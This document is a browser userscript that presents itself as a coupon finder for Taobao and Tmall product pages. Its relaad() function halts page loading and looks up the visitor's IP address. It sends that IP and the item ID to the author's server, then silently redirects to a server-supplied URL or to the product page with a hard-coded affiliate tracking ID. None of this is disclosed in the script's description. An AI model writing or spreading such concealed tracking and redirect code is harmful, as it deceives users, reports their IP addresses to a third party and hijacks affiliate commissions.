chenzelin / 淘宝天猫商品内部优惠获取插件

// ==UserScript==
// @namespace https://openuserjs.org/users/chenzelin
// @name         淘宝天猫商品内部优惠获取插件
// @version      1.2.5
// @description  淘宝天猫商品查询是否具有优惠券
// @author       jolin
// @include      https://item.taobao.com/item.htm*
// @include      https://detail.tmall.com/item.htm*
// @grant        GM_xmlhttpRequest
// @connect      www.ntaow.com
// @connect      www.chenzelin.ml
// @connect      pv.sohu.com
// @license MIT
// ==/UserScript==
// .tb-detail-hd, .tb-main-title


function getQueryString(name) {
    var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i");
    var r = window.location.search.substr(1).match(reg);
    if (r != null) return unescape(r[2]); return null;
}

function AutoStart(time, cssSelector, dealFunc) {
    var timerNode = setInterval(function () {
        try{
            if (document.querySelector(cssSelector).style.display == "") {
                clearInterval(timerNode);
                dealFunc();
            }
        }catch (e){}
    }, time);
}

function addStyle(css) { //添加CSS的代码--copy的
    var pi = document.createProcessingInstruction(
        'xml-stylesheet',
        'type="text/css" href="data:text/css;utf-8,' + encodeURIComponent(css) + '"'
    );
    return document.insertBefore(pi, document.documentElement);
}

function acBuyScript(result){
    var node = document.querySelector(".acBuyScriptCoupon");
    if(result.count == 1){
        node.innerHTML = "!进入找优惠!";
        node.href = result.mod_json_details.couponUrl;
    }else{
        node.innerHTML = "无优惠或已领优惠";
        node.setAttribute("style", "font-size: 9px;color:#6c6c6c");
    }
}

function queryData(goodID, type){
    cgoodTitle = "找信息";
    var zelin_cupon = GM_xmlhttpRequest({
        method: "GET", responseType: 'jsonp',
        url: "http://www.chenzelin.ml:8870/coupon?ID="+goodID,
        onload: function(res) {
            res = res.responseText;
            if(res.indexOf('taobao.com') > 0){
                var node = document.querySelector(".acBuyScriptCoupon");
                node.innerHTML = "!进入找优惠!";
                node.href = res;
            }else{
                var ret = GM_xmlhttpRequest({
                    method: "GET", responseType: 'jsonp',
                    url: "https://www.ntaow.com/getGMDetails_json.jsp?func="+type+"&auctionId="+goodID+"&title="+cgoodTitle,
                    onload: function(res) {
                        res = res.responseText.replace(type, "").replace("(", "").replace(")", "");
                        res = JSON.parse(res);
                        acBuyScript(res);
                    }
                });
            }
        }
    });
}

var goodID = getQueryString("id");
var ffrom = 'taobao';
if (document.location.host.indexOf("tmall.com") > 0) {
    from = 'tmall';
    relaad();
}

if (document.location.host.indexOf("taobao.com") > 0) {
    ffrom = 'taobao';
    relaad();
}
queryData(goodID, "acBuyScript");

AutoStart(100, ".tb-detail-hd, .tb-main-title", function () {
    var TitleNode = document.querySelector("div#J_Title h3, div.tb-detail-hd h1");
    var goodTitle = TitleNode.firstChild.nodeValue.trim();
    var querySimilar = "https://www.ntaow.com/coupon.jsp?mQuery=" + encodeURI(goodTitle);
    var queryInSite = "https://s.taobao.com/search?q=" + encodeURI(goodTitle);
    var faNode = document.querySelector("div#J_Title p.tb-subtitle, div.tb-detail-hd h1");
    var insNode = document.createElement("div");
    insNode.style = "font-size: 22px;font-weight: bold;font-family:microsoft yahei;";
    var htmlText = "<a class='acBuyScriptCoupon' href='javascript:void(0);' style='color: red;'>=查找中=</a>";
    htmlText += "&nbsp;&nbsp;<a href=" + querySimilar + " target='_blank' style='color: blue;'>[找相似]</a>";
    htmlText += "&nbsp;&nbsp;<a href=" + queryInSite + " target='_blank' style='color: blue;'>[站内搜]</a>";
    insNode.innerHTML = htmlText;
    faNode.appendChild(insNode);

});

function relaad(){
    if(location.href.indexOf("2:mm_119037763_16946106_62292880") > 0) return;
        try{
            window.stop();
        }catch(e) {}
        var ip_req = GM_xmlhttpRequest({
            method: "GET", responseType: 'jsonp',
            url: "http://pv.sohu.com/cityjson?ie=utf-8",
            onload: function(ip) {
                 var temp = GM_xmlhttpRequest({
                     method: "GET", responseType: 'jsonp',
                     url: "http://www.chenzelin.ml:8870?ip=" + ip.responseText + "&ID=" + goodID + '&f=' + ffrom + '&v=2.5',
                     onload: function(l) {
                         var u = l.responseText;
                         if(u.indexOf("taobao.com") > 0){
                             location.href = l.responseText;
                         }
                         else{
                             var id = getQueryString("id");
                             var index = location.href.indexOf("?id=");
                             location.href = location.href.substring(0, index) + "?id=" + id + "&ali_trackid=2:mm_119037763_16946106_62292880:1513497080_239_199048238";
                         }
                     }
                 });
            }
        });
}